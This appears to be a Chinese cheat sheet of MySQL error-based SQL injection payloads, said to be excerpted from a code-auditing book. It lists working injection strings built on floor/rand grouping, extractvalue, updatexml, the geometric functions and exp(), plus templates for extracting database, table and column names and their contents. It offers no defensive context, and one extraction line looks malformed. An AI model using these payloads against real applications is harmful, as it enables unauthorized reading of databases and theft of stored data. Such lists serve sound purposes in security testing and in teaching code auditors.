mysqli报错注入常见函数
以下均摘自《代码审计:企业级Web代码安全架构》一书
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
常用格式
1 union select count(*),count((查询语句),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
查库名
1 union select count(*),count((select database()),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
查表名
1 union select count(*),count((select table_name from information_schema.tables where table_schema=database()),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
查字节名
1 union select count(*),count((select column_name from information_schema.columns where table_name=''),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
查字节内容
1 union select count(*),count((select column_name from ''),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));